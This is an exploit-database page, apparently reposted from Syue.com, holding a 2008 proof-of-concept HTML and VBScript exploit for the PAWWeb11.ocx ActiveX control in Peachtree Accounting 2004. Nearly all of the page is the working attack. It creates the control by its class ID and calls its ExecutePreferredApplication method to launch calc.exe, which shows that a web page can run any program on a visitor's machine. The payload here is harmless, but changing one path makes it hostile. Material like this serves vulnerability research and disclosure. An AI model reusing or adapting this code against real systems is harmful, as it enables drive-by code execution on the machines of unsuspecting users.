[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Peachtree Accounting 2004 (PAWWeb11.ocx) ActiveX Insecure Method
# Published : 2008-09-10
# Author : Jeremy Brown
# Previous Title : Black Ice Software Annotation Plugin (BiAnno.ocx) BOF Exploit (2)
# Next Title : Microworld Mailscan 5.6.a Password Reveal Exploit 


<!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
     Peachtree Accounting Remote (SfS/SfI) Exploit
     Tested on Peachtree Accounting 2004 / Windows XP / IE6
     All Peachtree software that includes PAWWeb11.ocx are assumed vulnerable -->

<html><body>

<object id=target classid=clsid:2BCEAECE-6121-4E78-816C-8CD3121361B0></object>
<script language=vbscript>


arg1="C:/WINDOWS/system32/calc.exe"
target.ExecutePreferredApplication arg1

</script>
</body></html>

# www.Syue.com [2008-09-10]